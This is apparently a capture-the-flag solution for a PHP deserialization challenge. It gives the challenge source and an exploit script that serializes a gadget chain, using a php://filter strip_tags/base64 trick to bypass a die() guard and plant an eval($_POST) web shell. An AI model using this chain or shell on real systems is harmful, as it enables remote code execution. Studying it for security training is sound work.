[羊城杯2020]EasySer

<?php

error_reporting(0);

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {

    highlight_file(__FILE__);

} 

$flag='{Trump_:"fake_news!"}';

class GWHT{

    public $hero;

    public function __construct(){

        $this->hero = new Yasuo;

    }

    public function __toString(){

        if (isset($this->hero)){

            return $this->hero->hasaki();

        }else{

            return "You don't look very happy";

        }

    }

}

class Yongen{ //flag.php

    public $file;

    public $text;

    public function __construct($file='',$text='') {

        $this -> file = $file;

        $this -> text = $text;

    }

    public function hasaki(){

        $d   = '<?php die("nononon");?>';

        $a= $d. $this->text;

         @file_put_contents($this-> file,$a);

    }

}

class Yasuo{

    public function hasaki(){

        return "I'm the best happy windy man";

    }

}

?>

<?php die("nononon");?>

<?php

class GWHT{

    public $hero;

}

class Yongen{ 

    public $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";

    public $text="PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==";

    //<?php @eval($_POST[1]);?>

}

$a = new GWHT();

$a ->hero = new Yongen();

echo urlencode(serialize($a));